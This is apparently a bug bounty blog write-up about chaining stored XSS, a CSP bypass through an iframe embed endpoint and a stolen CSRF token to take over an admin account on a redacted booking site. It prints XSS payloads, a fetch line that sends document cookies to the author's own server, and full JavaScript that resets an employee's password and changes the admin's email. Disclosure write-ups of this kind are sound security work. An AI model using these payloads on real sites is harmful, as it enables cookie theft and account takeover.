ATO | How I exploited security issue to take over admin account

ar1fshaikh
8 min readAug 22, 2023

--

Few days ago I came across one bug bounty program of an booking website lets call https://redacted.com, it was interesting website with multiple functionalities and some creative features. I don’t often write about findings of bug bounty but this one will be worth doing it as there are ups and downs and multiple chaining of security issues.

Understanding https://redacted.com :
this website was Providing subdomain for business to create own booking page, embed form for input, reviews, information related to service — description ( which was important in this case 😅 ) etc etc.

Recon :

as usual I scanned for company assets and found one zabbix portal open for all. I was able to login with default creds, I quickly submitted the issue and was rewarded immediately.

I decided to go through complete website and to understand it well. as I recently started bug bounty and was not having consolidated plan around testing I decided to stick to this website until I find something crucial.

I started testing randomly and was not aware of complete features, so it went with asking few question to myself while exploring this application like what is the feature ?, what’s use case ?, what developer can miss while building it in phases ?, this was the time where I was exploring and understanding the website from corners.

I registered for account and started registration process…, this was my first startup called “bounty spa” I registered with this name and randomly in description I pasted xss payload.

<img src=1 onerror=alert(1)/>

I finished registration and found one page was created and they gave me 2 domains for my first startup

  1. https://bountyspa.redacted.com
  2. https://bountyspa.private.redacted.com

I opened my spa page and suddenly found some weird css, I inspected and found <img/> there. as admin of website I must not be able to see cookies of user. I quickly reported this but got disappointed as company told me it’s feature.

Alright.

I realised my bountyspa admin panel is quite important so I decided to try something there.

it was at this time I was trying to learn recon in some better way and was building my own tools to perform recon in organised manner. I decided to perform js recon for first time and followed online articles explaining about JS recon. I collected files for analysis. I was happy with manual analysis of code but files were around 450+. so I started looking for leaked tokens or creds but no luck. I found few tokens in .xnl file it was CSRF token coming in body but that is not good find. I found chunk code urls and dechunked code with unmap tool.

I realised this is not crucial finding but it’s definitely an issue, I was aware this is not worth reporting so I continued to analyse further.meanwhile I used waybackurls and found few interesting endpoints.

Finding crucial flaw :

I started exploring features, went through many APIs tried for IDOR and other issues found few open redirects, I stumbled upon one important API in admin panel, it was accepting description in <p>test</p> tag while in frontend only test was visible.

I embedded <script>alert(1)</script> but it didn’t worked, it reflected as plain text in frontend, here comes questions “ Why ? ” I was curious and though might be some encoding or sanitising, so I modified it to tag with (capitalising) <Script>alert(1)\\<script> this time it was injected in DOM. finally I found something critical and was ready exploit it. but alert(1) didn’t popped up, once again “ Why ?” I checked console and saw this.

the Content-Security-Policy was blocking it and error was reported to /csp-report endpoint.

Here I want to thank https://octagon.net for recent CSP bypass challenge I learned a lot from this tweet — ctf challenge , it was exactly same CSP policy as in this challenge but with added googletagmanager.com ; ladesk.com. I started looking for gtm-jsonp. I came across custom script manager in GTM and spent some time in trying to modify google script for GTM but no luck. I tried with adding js endpoint in multiple open redirections and few other attempts since it is on luck won’t it work with me. Then I stopped here and didn’t reported this as well.

Chaining issues for Exploitation :

after few days I decided to recon more and started looking for any way to upload script in https://bountyspa.redacted.com after scanning through multiple files and urls I came across one interesting endpoint :

https://bountyspa.redacted.com/embed_iframe/somefile.php?url=https://someotherurl.com&width=200&height=400

interesting. I found this url which was taking another url as param and was embedding iframe from that endpoint, nice. I visited that endpoint and it was useful. I crafted payload like this…

and it worked I was able to exploit XSS by chaining this to vulnerable field.

We got a stored XSS !

I reported this, I was able to bypass CSP as well !

but here is what I got in response :

This was disappointing since I spent so much time this was unexpected but I quickly responded with mail stating this should be an critical issue without actually exploiting I was clueless about this part.

I was not having any further information about compensating controls, I decided to break it further….

Hunting Admin :

we came so far now it’s decisive if we could really break into admin’s account… first of all I wanted to figure out what are those compensating controls which are hurdle for my bountyspa business. By this time I was having multiple accounts and I was trying from account with low privileges in my bountyspa admin portal. I stolen cookies with simply crafting request to my server with payload sharing cookies in query params

fetch("myownserver.com?cookies=" + document.cookies).then((r)=>r.json).then((r)=>console.log(r))

I got the cookies, but I was unable to login into admin’s account because there was session cookie having httpOnly flag. I discovered httpOnly cookies are not readable by any other API other that http call. cools, this time I was confused with possible attack scenario and spent 2 to 3 hrs in thinking about bypassing this. I went through many writeups and XMLHttprequest to steal cookies and many other ways. then came to conclusion it is not possible to work with this approach and get into respected Admin’s account.

Back to brainstorming !

I started asking questions again like why I need those cookies ? are they providing any other way to do this ? Can I overwrite them ? …etc

Eureka ! why to steal cookies when you can reset password for employees from API ? since browser will not share httpOnly session cookie with javascript so we can’t read all cookies with document.cookie.Since I went through application I was aware of functionality in Admin dashboard, they are providing functionality to reset other user’s account, change password of any user without asking for password if admin’s session has entered password in last few minutes (not sure about exact time) but then while changing Admin’s own password it was asking for password each time regardless of session time. Cool. let’s call API to reset password of other employee and for admin call API to reset Email in same page itself where if session has started few minutes ago it will not ask for password again !

time to craft payload again…

By this time they didn’t fixed XSS as they considered it low privileged. I was aware that I don’t have enough time and this has to be exploited at earliest.

I crafted different payloads for admin and employee.

payload 1 : ( for employee account takeover by reseting password )

let p = 'newpaasword';
f = ()=>{u=fetch('/v2/rest/user').then((r)=>r.json()).then((r)=>(u=r));console.log(JSON.stringify({...u[1],verify_password:p,password:p}));fetch('/v2/rest/user/item/id/2',{method:'GET',body:{...u[1],verify_password:p,change_password:1,password:p},method:'PUT'}).then(e=>e.json()).then(r=>console.log(r))}
setTimeout(f,1000)

payload 2 : ( for Admin account takeover by reseting email )

  e='xxxxxxxxxxxxx@gmail.com';
f=()=>{fetch('/v2/rest/user').then((r) => r.json()).then((u) => {fetch('/v2/rest/user/item/id/1',body: JSON.stringify({...u[0],email: e,group: 'admin', password: false}), method: 'PUT'});});};
setTimeout(f, 1000);

Nice, I was having high hope and executed this payload. but I got error :

{ error : 'invalid csrf token' }

Alright. it should be easy now… if we remember .xnl file mentioned which we found in recon. it was leaking csrf token. I open that file and found it is html code for home page and csrf token is dynamically injected to call /logout API. it was available in DOM in <a> tag.

nice let’s steal it and use it so final payload this becomes for admin’s account :

let ct='csrf',e='xxxxxxxxx@gmail.com';
document.querySelectorAll('a').forEach((e) => {if (e.innerText == 'Sign out') {ct = e.href.split('_csrf_token=')[1];}});
f=()=>{fetch('/v2/rest/user', { headers: { 'X-Csrf-Token': ct } }).then((r) => r.json()).then((u) => {fetch('/v2/rest/user/item/id/1', {headers: { 'X-Csrf-Token': ct },body: JSON.stringify({...u[0],email: e,group: 'admin',password: false}),method: 'PUT'});});};
setTimeout(f, 1000);

I executed this and it worked !!!

And we finally took over admin’s account by changing email of admin.

To further make it more exploitable, I found few endpoints where it was forcing to start new session and it was accepting ?next=/some/path in query params, so if we add if / else condition based response of our exploit it’s perfect account takeover exploit with 0 miss. so we will add to page where it asks for password to start new session and next=/path/to/exploit-page.

this was first account takeover I ever did. Amazing experience and learning. I learned many things from this and more than that it gave me some understanding of how can we chain small issues to create ‘bugger impact’ I would like to know from you if I missed some attack vector, if there are any improvement that can be done in methodology if there is any miss or any new approach you come up with basically everything other than typing mistake/grammar.

ps : while writing POC I found, I missed <Script>alert(1)</script> has miss of </Script> and it worked with <Script>alert(1)</Script> it was just typo 😂. And this is still minor to low severity issue to them.

I will try to keep posting if I come across something interesting you can find updates on my twitter handle : ar1fshaikh

--

--